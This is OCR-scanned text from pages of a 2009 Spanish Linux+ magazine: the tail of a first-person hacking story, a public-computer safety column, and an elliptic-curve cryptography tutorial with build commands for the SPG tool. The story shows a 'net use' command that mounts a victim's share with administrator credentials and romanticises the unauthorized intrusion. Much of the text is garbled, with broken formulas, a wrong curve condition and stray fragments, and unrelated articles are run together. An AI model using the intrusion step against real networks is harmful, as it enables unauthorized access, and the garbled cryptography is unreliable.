tido contrasefa /u:192.168.1.5\
administrador,

¢ Para conectar como administrador del do-

minio:

Ui on b bompiwia

Plugin Firefox User Agent Switcher

C:\WINDOWS\system32> net use
X: \192.168.1.5\recurso_comparti-
do contrasefia /u:Nombre dominio\

administrador.

Ahora podemos dirigirnos a M/ PC'y alli nos en-
contraremos con una nueva unidad conteniendo
la panacea de la informacion ajena. Algo como
lo que podemos visualizar en la Figura 8.

No tocaremos nada, pues nadie nos ha dado
permiso para hacerlo, desmonto la unidad, apa-
go todos los ordenadores, incluido el portatil, y
me bajo nuevamente al sofd de mi casa, donde
podré seguir leyendo tranquilamente el Necro-
nomicon. Bueno, cuando dije Necronomicon,
tal vez quisiera decir Programacion Avanzada
de Shellcodes.
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No seria descabellado pensar que usted se esté
preguntando como podria haber evitado nuestro
objetivo la intrusion realizada. Daré aqui unas
pequeias pautas que al menos podian haber
ayudado a minimizar el ataque.

*  Cambiar la contrasefia del punto de acceso
y elegir un protocolo mas seguro que WEP
como WPA, o mejor todavia WPA2.

» Establecer un firewall con unas reglas
de filtrado adecuadas, desactivando al
mismo tiempo las respuestas a paquetes
ICMP (echo request) provenientes de
un ping. Un IDS también es una buena
opcion.

» Configurar siempre las entradas caché
ARP estéticas o utilizar un programa como
ARP Watch para detectar cambios produ-
cidos por ataques arp spoffing.

* Mantener el sistema actualizado con los
ultimos parches disponibles para el siste-
ma, o utilizar la aplicacion de actualizacio-
nes automaticas que viene por defecto con
su sistema.

* Desactivar la comparticion de recursos
(directorios e impresoras) o, en su caso,
protegerlos con una contrasena fuerte.

» Leer esta revista y concienciarse de que la
seguridad es un elemento primordial tanto
en la vida fisica como en la vida cybernau-
ta de cada individuo.

Como has podido observar, esta historia re-
sume de una forma practica varios de los arti-
culos que ya han sido publicados en la seccion
Hacking para Linuxeros de esta revista, al
mismo tiempo que presenta el uso bésico de
otras herramientas como nmap, netcat y xpro-
be, que conforman la combinacién perfecta
a la hora de realizar la identificacion de un sis-
tema. Esta forma de actuar dara pie a posibles
articulos completos sobre dichas aplicaciones,
y esto debe ser visto como un logro al ir en-
lazando las distintas tematicas que se tratan
e irdn tratando a lo largo de esta nueva sec-
cion, a la que los lectores mas inteligentes ya
comienzan a acostumbrarse.

No hay mucho més que decir hasta este
punto. Estamos en una etapa en la que ser hac-
ker es dificil, y ademds de eso, la gente opina
que estd mal serlo. Sélo nos dejamos conducir
por la curiosidad y solo deseamos despertar
vuestras mentes.

Como ya he dicho, esto es tan solo una
historia. Pero bien sabemos algunos que las
historias muchas veces se convierten en rea-
lidad. &



Linux + con la colaboracién de Carlos Tori, el autor del libro
“Hacking Etico” os invitan a que opinéis sobre este nUmero de la revista.

:Qué articulo de este nUmero te impresioné mds y por qué?
¢ Qué es lo que mas te gusta, o no te gusta en Linux+?
¢Hay algo que hechas de menos en la revista?

iCuentanos!

Los autores de las mejores
opiniones y propuestas
recibirdn un ejemplar de
este fabuloso libro.

;Quién es Carlos Tori?

Carlos Tori es rosarino, frabajo para importantes consultoras de

seguridad y actualmente trabaja para una con base en Princeton-EEUU,
es estudiante de Ingenieria en Sistemas, Andlista de sistemas y

consultor. Estuvo a cargo del aseguramiento y monitoreo de los datos

del Referendo 2008 en Bolivia y acaba de venir de Panama, luego de ser
entrenado en tecnologias emergentes de seguridad para corporaciones.

Mas informacion sobre Carlos y su obra encontraréis en
htip://www.hackingetico.com/
Los trabajos podéis mandar hasta el final de Agosto a la direccion
es@|pmagazine.org.
Las mejores opiniones publicaremos junfo con los nombres de ofros laureados

jBuena Suverte!
Equipo de Linux+
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Vacaciones seguras en internet

Fernando de la Cuadra,
director de Educacion

de Ontinet.com, distribuidor
en exclusiva de las soluciones
de seguridad de ESET

en Espana

uchos usuarios de ordenadores

tienen la suerte de poder irse

de vacaciones con su ordena-

dor portatil, para poder seguir
revisando el correo electronico fuera de casa
o simplemente para chatear. O, por qué no decir-
lo, para no tener que separarse de su entreteni-
miento (o trabajo) favorito. Pero los que en lugar
de usar un ordenador portatil usan uno de sobre-
mesa, lo tienen mas complicado. Una CPU no es
facilmente transportable, ni es comoda de montar
en un camping. Y menos aun si vas a hacer el Ca-
mino de Santiago, por ejemplo. Asi que, en estos
casos, so0lo queda la solucion de usar ordenadores
publicos. Es una opcién barata y comoda, pero
también es tremendamente insegura.

La seguridad de un sistema depende, en gran
parte, del administrador del sistema, y desgra-
ciadamente, muchos “administradores” no son
merecedores de ese nombre. He visto muchos
sistemas de acceso publico con Windows 2000 y
derechos de administracion para todos los usua-
rios. Y todo el que se acercaba, miraba su correo o
revisaba sus cuentas del banco sin mayor proble-
ma. jY eso era en 2009! Por otro lado, la paranoia

Vacaciones
seguras
en Iinternet

de la seguridad no debe alcanzarnos. Se pueden
hacer las cosas de manera segura y tranquila
a pesar de que un ordenador publico sea un riesgo
elevado. Basta con pensar un poco y no hacer el
loco. Veamos qué pasos hay que dar:

*  Buscar un ordenador que esté “protegido
contra usuarios”. Es decir, que no todo el
que entre lo haga con permisos de adminis-
trador. Si tienes dudas, intenta copiar algin
fichero en carpetas del sistema (en Windows,
por ejemplo, en system32). No deberia de-
jarte, ni modificar el registro con el programa
regedit.exe.

* Si el sistema genera sesiones nuevas para
cada persona que lo utiliza, mejor. No “reuti-
lizar” una sesion anterior, ya que podria
significar que otra persona utilizard nuestra
sesion despugs.

*  Procurar que el sistema esté actualizado. En
caso de duda, acudir a la pagina de actualiza-
ciones del fabricante y actualizarlo. Es muy
posible que no podamos, si esta protegido
minimamente, pero por lo menos sabremos
a qué nos enfrentamos.

*  Un truco muy sencillo para comprobar el
nivel de actualizacion es llevar memoriza-
do antes de salir de casa el tamafio de alguna
DLL que se haya actualizado recientemente,
asi sabremos si se ha llevado a cabo esa
actualizacion. Basta con comprobar si el ta-
maio de la DLL que tienes en casa coincide
con el de la instalada en el sistema publico.
Si no coincide. ... malo.

» Evitar, en la medida de lo posible, la des-
carga de cookies en ordenadores ajenos.
Y por supuesto, evitar las casillas “recuér-
dame” de muchos sitios web, ya que lo que
hacen es dejar un cookie con nombre y con-
trasefia.

»  Utilizar una memoria USB para los datos que
queramos mangjar durante el verano. Una
memoria de 4 u 8 Gb ya es barata, y nos qui-
tard de problemas evitando descargas de do-
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cumentos. ;Y cifrar los contenidos, que estas
memorias se pierden con excesiva facilidad!

» Limpiar concienzudamente el sistema de
archivos temporales una vez que hayamos
terminado. Ni cookies, ni correos, ni ima-
genes.... Todo puede volverse en contra
nuestra en un momento dado.

» Evitar redes WiFi abiertas. No me refiero
solo a las gratuitas, sino a las que no tienen
ningtin sistema de cifrado. Con otro ordena-
dor y un “sniffer” no es complicado que nos
espien la comunicacion.

* Nunca usar una conexion punto a punto para
acceder a Internet. Muchos ciberdelincuentes
emplean esta técnica para quedarse con los
datos de los usuarios simulando ser un portal
cautivo de acceso a Internet.

e Revisar el ordenador que vamos a utilizar en
busca de codigo malicioso. Se supone que
debe tener un antivirus, pero por si acaso (es
posible que no sepamos su nivel de actuali-
zacion) podemos revisarlo con otro antivirus
en linea. Cuidado: no digo otro antivirus gra-
tuito, sino en linea. Una buena propuesta se
encuentra en http://eos.eset.es, que es rapido
y con unos muy buenos niveles de deteccion.
Todas las marcas tienen uno, pero no debe-
mos olvidar que debe ser solo escaner, no
podemos instalar dos antivirus residentes
en el mismo ordenador.

Si seguimos estos consejos, podremos disfru-
tar de unas vacaciones sin perder la conexion
y con un buen nivel de seguridad. No sera como
el de casa, pero por lo menos, no dejaremos de
leer el correo por si nos ha llegado una oferta
de trabajo.

Y un tultimo consejo: todo esto se ird al
garete si mientras tecleamos la contrasefia de
nuestra cuenta bancaria hay alguien detras mi-
randonos mientras esta haciendo cola para usar
el ordenador. Un poquito de intimidad infor-
matica también exige un poquito de intimidad
fisica. &
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Criptografia
de Curva Eliptica y Aplicaciones
Basicas en sistemas GNU/Linux

José B. Al6s Alquézar
Desde el advenimiento de las tecnologias de la informacién y su incorporacion a la vida

cotidiana, se plantea la dicotomia de decidir si la seguridad informética es esencial o algo superfluo.
En estos momentos en que Internet proporciona una comunicacion entre una comunidad de
decenas de millones de usuarios que la utilizan tanto a nivel personal como comercial, la seguridad
informética y por ende, la criptografia se revela como una necesidad esencial.
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pesar de que todos estos aspectos son sobrada-

mente conocidos por la comunidad de usuarios

GNU/Linux, las técnicas criptograficas mas

modernas, como las basadas en algoritmos de
clave publica en general y en concreto, basadas en la Teoria
de Curvas Elipticas, adquieren un interés creciente.

El objetivo del presente articulo consiste no solamen-
te en mostrar los conceptos asociados a los algoritmos
de Criptografia de Curva Eliptica (ECC), sino también
ilustrar como las técnicas ECC pueden ser vistas como un
caso particular de la criptografia de clave publica, asi co-
mo la facilidad de su adopcién por parte de los usuarios
finales. Querria finalmente aprovechar para pedir discul-
pas por el enfoque, a veces, excesivamente abstracto de
los conceptos expuestos, pero consideramos que el cono-
cimiento de los fundamentos de la ECC contribuira signi-
ficativamente a facilitar la comprension de los conceptos
aqui expuestos.

La criptografia es la ciencia de transmitir informacioén de ma-
nera secreta de tal forma que ésta no sea accesible a terceras
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personas aparte del emisor y receptor y es en realidad casi
tan antigua como la necesidad de comunicarse del ser hu-
mano. De hecho, los primeros testimonios al respecto loca-
lizados en el antiguo Egipto, datan del aflo 1900 AC. Sin en-
trar en mas detalles, la criptografia en la actualidad satisface
cuatro requisitos fundamentales:

* Privacidad: nadie ajeno al emisor y receptor de un
mensaje debe ser capaz de acceder al contenido del
mismo.

* Norepudio: es un mecanismo cuya finalidad es asegurar
que el remitente es quien realmente envid la informa-
cién recibida.

* Autentificacion: cada uno de los intervinientes en un
proceso de transferencia de informacion debe probar
su identidad.

* Integridad referencial: el contenido de la informacion
recibida no ha sido alterado a lo largo del canal de co-
municacion establecido entre emisor y receptor.

La criptografia no solamente debe proteger los datos de
terceros, sino que ademas debe garantizar la integridad de
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En este articulo aprenderas...

» Conceptos basicos sobre la Cripto-
grafia de Clave Publica,

* Fundamentos de la Criptografia de
Curva Eliptica (ECC),

» Aplicaciones basicas de la criptogra-
fia ECC a nivel de usuario,

» Desarrollo de sistemas de cifrado y fir-
ma digital basados en ECC.

los datos transmitidos ademas de garantizar
la autentificacion de los elementos intervi-
nientes en todo proceso de comunicacion. Por
ello existen tres tipos de esquemas criptogra-
ficos dirigidos a satisfacer estos propositos.
En lo sucesivo, ateniéndonos a la denomina-
cion técnica habitual, denominaremos a los
datos sin encriptar como cleartext, mientras
que los datos cifrados los indicaremos como
ciphertext. Para las terceras personas, se sue-
len emplear términos como eavesdropper o
man-on-the-middle.

De acuerdo con lo explicado en la seccion
precedente, existen tres tipos de metodologias
criptograficas habitualmente utilizadas como
son:

» La criptografia de clave simétrica o Unica,
en la que emisor y receptor utilizan la
misma clave para cifrar y descifrar.

» La criptografia de clave publica en la que
se utiliza un par de claves, denominadas
publica y privada seglin su uso, en la que
una se utiliza para cifrar y la otra para
descifrar un mensaje.

¢ Las funciones hash, también denomina-
das one-way-path functions, que asocian
un valor a un mensaje. En este esquema
no existe el concepto de clave, ya que no
se puede recuperar el mensaje conocido
el valor, y se emplea para garantizar la
invariabilidad del mensaje o datos trans-
mitidos entre emisor y receptor.

La razon por la que existen tres categorias de
algoritmos criptograficos reside en su ade-
cuacion para diferentes aplicaciones, ya que
mientras que los algoritmos hash estan indi-
cados para garantizar la integridad referencial
de los datos debido a las caracteristicas de es-
tos algoritmos one-way path, la criptografia
de clave simétrica (SKC) esta indicada para
cifrar mensajes proporcionando la privaci-

dad y confidencialidad requerida por emisor
y receptor, mientras que la criptografia de
clave publica (PKC) proporciona su princi-
pal campo de aplicacion en el intercambio
de claves con propositos de autentificacion
de usuarios.

La diferencia entre el uso de algoritmos
SKC y PKC se traduce en la mayor rapidez de
la primera, ya que suele ser del orden de tres
ordenes de magnitud superior en cuanto a tiem-
po se refiere.

Los algoritmos de clave simétrica como DES
y sus variantes, como 3DES, utilizan una
unica clave para encriptar y desencriptar un
mensaje tal y como se indica en la Figura 1.

La criptografia de clave publica se fundamen-
ta, como se indica en la Figura 2, en la exis-
tencia de dos claves, que son antagonicas; es
decir, si una de ellas se utiliza para encriptar,
la otra debe utilizarse para desencriptar. De-
be recalcarse que la eleccion de clave publica
y privada es una cuestion eminentemente po-
litica, fruto de una decision personal, ya que
desde el punto de vista funcional, ambas no
son mas que nimeros.

También conocidos como one-way path cryp-
tography, se basan en una propiedad de fun-
ciones matematicas que poseen inversa, de-
nominadas funciones hash.

* Una pequefa variacion en el elemento
de partida produce una gran variacion en
el resultado o imagen.

» El célculo de la anti-imagen o inversa
es extremadamente dificil. Es decir, es
sumamente dificil recuperar el mensaje
de partida a partir del resultado o valor
imagen.

Estos algoritmos son principalmente utiliza-
dos para la comprobacion de integridad refe-
rencial de ficheros, pudiendo destacar los
algoritmos Message Diggest como MD2, MD4
utilizado en la encriptacion de claves de usuario
en sistemas MS Windows y MDS5, desarrollado
para solventar las debilidades de MDA4.

Un ejemplo de la aplicacion de los tres
esquemas explicados anteriormente puede
apreciarse en la Figura 4.

Hasta la fecha, las herramientas matema-
ticas utilizadas en el desarrollo de técnicas
criptograficas se fundamentan en la Aritmé-
tica Modular y es precisamente este elemento
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Lo que deberias saber ...

» Conocimientos basicos de criptogra-
fia de clave simétrica y publica,

» Conocimientos basicos de Matemati-
cas Finitas, Aritmética Modular y Te-
oria de Grupos,

» Utilizacion de sistemas GNU/Linux
a nivel de usuario,

* Compilacién y generacion de eje-
cutables en sistemas GNU/Linux
o Unix.

el que nos permite introducir un enfoque nue-
vo, reemplazando esto por uno de los topicos
mas apasionantes de la Matematica Abstracta
y la Geometria Algebraica, como son las
curvas elipticas y la criptografia basada en
ellas, conocida como ECC o Eliptic Curve
Criptography.

En 1985 la criptografia de curva eliptica
(ECC) fue propuesta por Victor Miller (IBM)
y Neal Koblitz, de la Universidad de Was-
hington como alternativa a los algoritmos de
clave publica basados en la Aritmética Mo-
dular y la factorizacién de grandes primos
como medio de obtener unos algoritmos mas
robustos y computacionalmente, menos exi-
gentes. Realmente, la criptografia eliptica esta
basada en la resolucion del problema de lo-
garitmo discreto de la curva, pero antes de
ahondar en estos conceptos, conviene des-
hacernos de nuestros prejuicios matematicos
y empezar a pensar en abstracto.

Muchos estudiantes se preguntan a menudo pa-
ra qué sirven los conceptos de grupos, anillos
y cuerpos que se introducen sin justificacion
incluso en niveles de ensefianza elemental.
Un grupo no es mas que una estructura alge-
braica definida sobre un conjunto G -olvidé-
monos de los niimeros, ya que rememorando
a mi antiguo maestro, el Prof. D. Joaquin
Boya, los puntos los pone Dios, los numeros
los Hombres.

&
planiet

cipheries] ~plairries

Criptografia de clave simétrica (SKC)

b, b

1Dhetext

D@t OiSerigod

Criptografia de clave publica (PKC)
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hash function
plaintext ————= ciphertexi

Criptografia de clave simétrica (SKC)

Puesto que los elementos de un conjunto
son puntos- es posible inventar operaciones
que asocien un par de puntos de dicho con-
junto a un tercero de ese mismo conjunto, lo
que se conoce en Matematicas como opera-
cion interna, que no es mas que aquella que
asocia a cada par de puntos de G otro punto
del mismo conjunto dotados de la siguiente
propiedad:

¢ Asociatividad
¢ Elemento neutro
e Elemento opuesto

Si ademas se verifica la propiedad conmutati-
va, diremos de (G,+) presenta una estructura
de grupo abeliano. Pensemos en uno de estos
conjuntos porque lo utilizaremos mas adelan-
te y veamos la utilidad de otro concepto que
se estudia en Matematicas Elementales y al
cual frecuentemente no se explica como sa-
car partido de éste como son las relaciones de
equivalencia, que permiten establecer clases
de equivalencia en dicho conjunto. Tomemos
los niimeros enteros; elijamos ademas un nu-
mero entero no negativo m, y establezcamos
una relacion de equivalencia:

x Ry si vy sélo si (x-y) mod m=0

Es decir, dos enteros estaran relacionados si al
dividir su diferencia por el nimero m el resto
es 0. De este modo, tendriamos las siguientes
clases de equivalencia:

[0]={0, m, 2m, 3m, 4m}
[1]={1, m+1,2m+1,3m+1, ... }
[m-11= {m-1, 2(m-1), 3(m-1), ...}

Es decir, hemos pasado de un conjunto Z con
infinitos elementos a otro consistente en las
clases de equivalencia resultantes de intro-
ducir la relacion anterior que ademas resulta
finito. Dicho conjunto se denomina Z n'y sus
(11, [m-1]. Defi-
namos ahora una operacion suma que actia

elementos son [0],

sobre dos de estas clases de equivalencia, aso-
ciando una tercera de la siguiente forma:
[11+[3]=[k] si (i+J) R k

Algo que a primera vista parece cuando menos
rebuscado y complejo, como es esta operacion

sobre el conjunto Z m es la base de la mayor
parte de los algoritmos de clave publica como

Diffie-Hellman, DSA y RSA y va a ser el
punto de partida para los algoritmos de clave
publica basados en la Teoria de Curvas Elipti-
cas, denominados algoritmos ECC.

Las curvas elipticas, desarrolladas por B.
Riemmann en el siglo XIX, combinan tanto
la Teoria de Nimeros como la Geometria Al-
gebraica. Desde este punto de vista, una curva
eliptica es el conjunto de puntos caracterizado
por la siguiente ecuacion:

y*2=x"3+ax+b

dependiendo de la eleccion de los pardmetros
a'y b, como puede verse en la Figura 5.

Estas curvas, poseen una interesante pro-
piedad y es que pequeiias variaciones en los
parametros a y b producen grandes variacio-
nes en los puntos de dicha curva. Definamos
en una de estas curvas una operacion que aso-
cia a dos puntos de dicha curva un tercero.

Podriamos plantearnos cudl es el niime-
ro natural n tal que el punto Q=nP y este es
el problema ECDL. El fundamento de los
algoritmos ECC radica en el hecho de que
una persona puede conocer los puntos Py Q,
pero determinar el nimero n es algo intrinse-
camente dificil, desde el punto de vista com-
putacional.

Reemplazando los roles desde el punto de
vista de seguridad IT:

¢ Punto Q: Clave Publica ECC
¢ Numero n: Clave Privada ECC

tenemos ya todos los elementos para postular
un algoritmo de clave publica radicalmente dis-
tinto a los utilizados tradicionalmente como
RSA que proporcionan un nivel de seguridad

£
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similar a estos pero con tamafos de clave
significativamente menores, tal y como se
muestra en la Tabla 1.

Puesto que los tamafios de clave de los
algoritmos ECC son mucho menores que las
claves RSA que proporcionan un nivel de se-
guridad homologo esto se traduce en tiempos
de respuesta mas rapidos asi como menores
requisitos de memoria y consumo de ancho
de banda.

No obstante, ECC es mucho mas efi-
ciente que RSA para la firma y descifrado
pero mas lento en contrapartida para opera-
ciones de verificacion de firma y encriptado;
aun con todo, para aplicaciones en las que
prime la escasez de recursos de memoria,
ancho de banda o potencia computacional
(MIPS), ECC seria el algoritmo aconsejado;
por ejemplo en el caso de los sistemas em-
potrados.

Vamos a dar una rapida introduccion sobre uno
de los temas mas apasionantes de las Matema-
ticas Puras como es la teoria algebraica de las
curvas elipticas, que no son mas que expresio-
nes algebraicas de la forma:

y?=x°+ax+b

siendo a, b los coeficientes de dicha curva. Su-
pongamos por un momento, que en lugar de
tomar numeros reales para dichos parame-
tros a y b como se mostraba en la Figura 5,
asumimos que dichos parametros pertenecen
aun conjunto Z p={[0], [1], [2] .... [p-1]}, tal
y como se ha definido en el apartado preceden-
te, siendo p un nimero primo; esto es, divisi-

Firma Digital

Sobre :
(Digital Envalopa) :

Clave de sesidn K »  Mensaja cifrado
E— puc i | Ciave de sasién
]
Mansaje anviado
a Presona B

Ejemplo de aplicacion de los esquemas SKC, PKC y funciones hash
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ble por si mismo y la unidad, sobre el que de-
finimos una operacion (mod p) de la siguiente
forma:

x (mod p) = resto de la divisidn

entera de x por p

Denominemos a este conjunto Z_p y restrinja-
mos nuestra atencion a las curvas elipticas de
la forma:

y?=x’+ax+tb

donde a, b pertenecen al conjunto de enteros Z_p
definido anteriormente, tales que satisfacen:

4a® + 27b? =0 (mod p)

junto con un punto especial ubicado en el infi-
nito, que denominaremos O. Es posible inventar
una operacion suma sobre dos puntos P, Q sob-
re dicha curva que den como resultado un punto
R ubicado sobre la misma curva eliptica, y este

es el encanto de la Matematica Abstracta, el
paso de lo evidente a lo abstracto en la que:

*  Elemento neutro: P+O=0+P=P

»  Elemento opuesto: Para todo punto P exis-
te un punto Q tal que P+Q=Q+P=0

*  Asociatividad: Dados tres puntos P, Q y R
se cumple que (P+Q)+R=P+(Q+R)

Un conjunto de puntos dotado de una operacion
suma que satisface estas tres propiedades se dice
que posee la estructura algebraica de grupo y si
ademas, verifica la propiedad conmutativa; es
decir, para todo par de puntos P, Q se cumple
que P+Q=Q+P, se dice que dicho grupo es con-
mutativo o abeliano. Con ello hemos sentado
todos los elementos formales para la definicion
y desarrollo de algoritmos de criptografia me-
diante el empleo de curvas elipticas o ECC.

Definamos una operacion suma sobre puntos
de una curva eliptica con coeficientes definidos
sobre Z_m de la siguiente forma: Sean dos pun-
tos Py Q caracterizados por sus coordenadas
en Z m x Z m P=(xL,yl), Q=(x2,y2). Dicha
operacion suma, asocia al punto R=P+Q
las coordenadas (x3,y3) calculadas de la forma
indicada a continuacion:

x3 = A2 - x1 - x2
y3 = A (x1 -x3) -yl
siendo el parametro A igual a:

A=(y2-yl)/(x2-x1) si P # Q

seguridad y ethical hacking
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Comparacion de tamarios de clave entre RSAy ECC

512 104 106 5:1

768 108 132 6:1

1,024 1011 160 7:1

2,048 1020 210 10:1

21,000 1078 600 351

Puntos de la curva eliptica y>=x*+x+1 sobre el grupo finito Z_23

(0,1) (0,22) (1,7) (1,16)

(3,10) (3,13) (4,0) (5,4)

(5,19) (6,4) (6,19) (7,11)

(7,12) 97) (9,16) (11,3)

(11,20) (12,4) (12,19) (13,7)

(13,16) (17,3) (17,20) (18,3)

(18,20) (19,5) (19,18)
y: mas resefnables de las curvas elipticas sobre

grupos finitos, es posible empezar a aplicar

A=3x1"2+a/ (2y1l) si P=Q los conceptos expuestos a técnicas de cripto-

si if P = Q; es decir, las coordenadas del
punto 2P.

Abhora llega el momento de pasar de lo abs-
tracto -los puntos- a lo concreto -las coorde-
nadas- de acuerdo con la definicion anterior
de suma que evidentemente, no tiene nada que
ver con la operacion suma que el lector intui-
tivamente conoce. Sea la curva eliptica:

y2=x3+x+1

definida sobre Z_23={0,1,2,...22}. Los pun-
tos sobre dicha curva perteneceran también
a Z_23 y forman un conjunto finito de 27
puntos indicados en la Tabla 2.

Existe un numero limitado o finito de di-
chos puntos debido a nuestra eleccion. Este
hecho es sumamente importante ya que los
computadores no pueden trabajar con con-
juntos infinitos. Sean dos puntos de dicha

curva:
P=(3,10)
Q=(9,7)

Aplicando las formulas anteriores vemos que
P+Q=(x_3,y_3) es calculado como se indica
a continuacion:

A=11 que pertenece a Z_23

x3=-6 = 17 (mod 23)

y3=89 = 20 (mod 23)

Luego P+Q da como resultado el punto de coor-
denadas (17,20) que esta ubicado sobre dicha
curva. Una vez analizados las caracteristicas
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grafia de clave publica basadas en estas enti-
dades abstractas. Sobre sistemas ECC existen
tres enfoques bien diferenciados:

* Esquema ECC Diffie-Hellman, basado
en el algoritmo Diffie-Hellman (1976).

*  Esquema ECDSA, basado en el algorit-
mo DSA o Digital Signature Algorithm.

*  Esquema ECMQC basado en el enfoque
MQV.

Por tltimo y lo més importante, es la razon por
la que es posible utilizar estas entidades abs-
tractas en criptografia de clave publica (PKC)
que la seguridad de los algoritmos ECDS es
la dificultad intrinseca mediante ataques de
fuerza bruta, de resolver el problema del loga-
ritmo discreto de la curva eliptica, denomina-
do en la literatura especializada como Elliptic
Curve Discrete Logarithm (ECDLP), consis-
tente en calcular, dada una curva eliptica E
definida sobre Z p para dos puntos P, de orden
ny Q sobre dicha curva el numero entero k
comprendido entre 0 < 1 < n -1, tal que
Q=kP, siempre que éste exista.

Sin animo de ser prolijo dentro de este te-
ma, vamos a centrarnos en lo sucesivo en los
esquemas ECDSA y su aplicacion a la segu-
ridad de sistemas GNU/Linux en operaciones
de cifrado y firma digital.

Bajo el acronimo ECDS, que significa Elliptic
Curve Digital Signature, se plantea un algo-
ritmo criptografico analogo a DSA en el cual,
en lugar de trabajar en el conjunto de enteros
Z p={0,1,2,...p-1}, se trabaja sobre ¢l con-

—
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Test de verificacion de la aplicacion SPG

gcc -g -Wall -02 -c curves.c

gcc -g -Wall -02 -c ecc.c

gcc -g -Wall -02 -c ec_point.c

gcc -g -Wall -02 -c main.c

gcc -g -Wall -02 -c utils.c

gcc -g -Wall -02 -c sym cipher.c

gcc —-g -Wall -02 -c help.c

gcc -0 spg curves.o ecc.o ec_point.o main.o utils.o sym cipher.o

help.o -lgcrypt -pthread -1lssl -lcrypto

echo "done"
rm -rf tests/keys/*
rm -rf tests/message.txt.enc
rm -rf tests/message.txt.sign
rm -rf tests/message.txt.decrypted
cp spg tests/ && cd tests && ./tests.sh
Los comandos y opciones admitidos por la aplicacion spg
Use: spg commands [options] [file ...]

Commands are:
-g --gen_key Generate private key

-xX —-xport eXport public key from private key

-s --sign Generate message signature

-v —--verify Verify message signature

-e --encrypt Encrypt

-d --decrypt Decrypt

-1 --1list_curves List implemented curves
-h --help Print help and exit

Options are:

-c --curve Use this curve

-i --input Input file
-o —--output Output file
-V —--verbose Be loud

-t --timing Print time spent computing ecc algorythms

Clave ECC basada en la curva eliptica secp521r1

Q0QYIehsOrMVKFNPcgiXFHIT+H610upm54ICJhAxkUja5vzeJPZBpgkdHeWSke50E
Xi0KswHyU81gl4Ap7R08BOESQgHU+wr0Q4dfvltuFzSjTxjl5cVeFhfgdxhrVxxn
86LsISGw8oeTeRab3sc0iSxd]jTD3hgHWAREVwWnjN2+t0Ok6Ez40F/rpgFeU5iTgMV
rNCB8IJmcOxBOJInwWlWuyD3rBVrP8ox6tSIHEKaiVR+00gyJL30Q78LEfIW8h14d
QLQaJtOD5Q1zZWNWNTIxCcjE=

Contenido del fichero a firmar message.txt

$ cat message.txt
Recuerde el alma dormida,
avive el seso y recuerde
contemplando:

Cémo se pasa la vida,
cémo se viene la muerte

tan callando.

junto de puntos sobre una curva eliptica con
coeficientes a, b Z_p.

Dicho algoritmo puede desglosarse en dos
segun sean utilizados para la encriptacion o la
generacion de firmas. Vamos a estudiar por
separado cada uno de ellos.

La generacion de las claves antagonicas ptblica
y privada, fundamento de los algoritmos ECD-
SA, se sustenta en el seguimiento del procedi-
miento detallado en los siguientes pasos:
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+ Elegir una curva eliptica definida sobre
un conjunto Z_p. El nimero de puntos de
dicha curva eliptica debe ser divisible por
un nimero entero primo grande n.

»  Seleccionar un punto P sobre dicha curva
eliptica de orden n; esto es, que cumpla
nP=0.

* Seleccionar un entero d en el intervalo
{1,2,..,n-1}

* Calcular Q=dP

Como resultado obtenemos un algoritmo de
clave publica en el que:

* Clave publica. Es la cuaterna de valores
(E.P1n,Q)

*  Clave privada. Es el entero d perteneciente
al intervalo {1, 2, ... n-1}

Veamos a continuacion los tres esquemas de
aplicacion a los problemas basicos de la crip-
tografia de clave publica, que pueden hacerse
extensivos a los algoritmos ECC en general
y en particular, los derivados de los algoritmos
ECDSA, como son el cifrado de mensajes, la
generacion de una firma digital y la verifica-
cion de la misma.

Para firmar digitalmente un mensaje, la pro-
puesta de los algoritmos ECDSA es la sig-
uiente:

+  Seleccionar un niimero entero k en el con-
junto {1,2,..n-1},

+ Calcular kP=(x_1,y_1) y hagamos r = x
mod n.,

* Si r=0, volver al paso 1, como condicién
de seguridad, ya que si r=0 la ecuacion
utilizada en la forma s=k*{-1}[h(m)+dr]
mod n no contiene la clave privada d.,

* Calcular k*{-1} mod n,

* Calcular s=k*{-1}[h(m)+dr] mod n donde
h serd el valor obtenido por el algoritmo
SHA-1,

»  Sis=0 volver al paso 1, a fin de garantizar
la existencia de la inversa s"{-1}.

Como resultado, la firma digital ECDSA del
mensaje m es el par de enteros (r,s).

Para la verificacion de la firma digital
ECDSA, el proceso a seguir sera el siguien-
te:

*  Obtener una copia de la clave publica (E,
P, n, Q) y verificar que la firma (r,s) esta
contenida en el conjunto {1, ...,n-1},

* 2. Calcular w=s"{-1} mod n y h(m).,



* Calcular u_l=h(m)w mod n y u_2=rw
mod n,

e Calcular u_ 1P + u 2Q=(x_0,y 0) y
v=x_0 mod n.

De este modo, se puede concluir que la fir-
ma digital sera valida si se cumple que v=r.
Con ello hemos conseguido una descripcion
simple de los sistemas de cifrado, descifrado,
autentificacion de usuarios y firma digital ca-
racteristicos de toda técnica criptografica mo-
derna.

Liberada en abril de 2009, la version 0.3.1 de
Small Privacy Guard se plantea como una
aplicacion basada en criptografia de clave
publica ECC utilizable tanto para el cifrado
y descifrado de mensajes como para la firma
digital de los mismos y posterior verificacion.
Es, por decirlo de alguna forma, la contra-
partida en algoritmos ECDSA sobre el cono-
ci do Pretty Privacy Guard (PGP) de P.
Zimmermann, desarrollado a partir de 1991
y las versiones OpenSource como OpenPGP
y GnuPG.

Esta aplicacion se halla disponible en la
URL http://spg.sourceforge.net en la forma de
codigo fuente para su descarga por parte del
lector y a diferencia de PGP, las claves no estan
vinculadas a direcciones de correo electronico o
nombres de usuario.

La potencia de esta aplicacion, como cual-
quier producto que admita criptografia de curva
eliptica (ECC) se basa en el nimero y com-
plejidad de curvas elipticas implementadas.
En el caso objeto de estudio, SPG posee en
esta version 11 de estas curvas:

e secpll2rl
e secpll2r2
*  secpl28rl
e secpl28r2
e secpl60rl
e secpl60r2
*  secpl92rl
e secp224rl
*  secp256rl

Firma digital del fichero message.txt

$ cat signature

*  secp384rl
e secp52lrl

cuyos tamafos de clave van de 112 a 521
bytes.

El lector familiarizado con GPG no ten-
dra problema en adaptar SPG como herra-
mienta sustituta en aplicaciones criptogra-
ficas en sistemas GNU/Linux en particular
y Unix en general. Para iniciar el proceso de
generacion del ejecutable, deben satisfacerse
los siguientes requisitos:

¢ Instalacion de las librerias de desarrollo
OpenSSL.
¢ Instalacion de las librerias de desarrollo

gerypt.

En distribuciones GNU/Linux cuyo formato
de paquetes sea RPM, mediante el comando
rpm(8), podemos verificar su existencia:

$ rpm -gq openssl
openssl-0.9.8g-9.12.£c9.1686
$ rpm -g libgcrypt
libgcrypt-1.4.4-1.£c9.1386

y en caso contrario, proceder a su instalacion
antes de proceder a la descarga del codigo
fuente de la aplicacion. Una vez ubicado éste
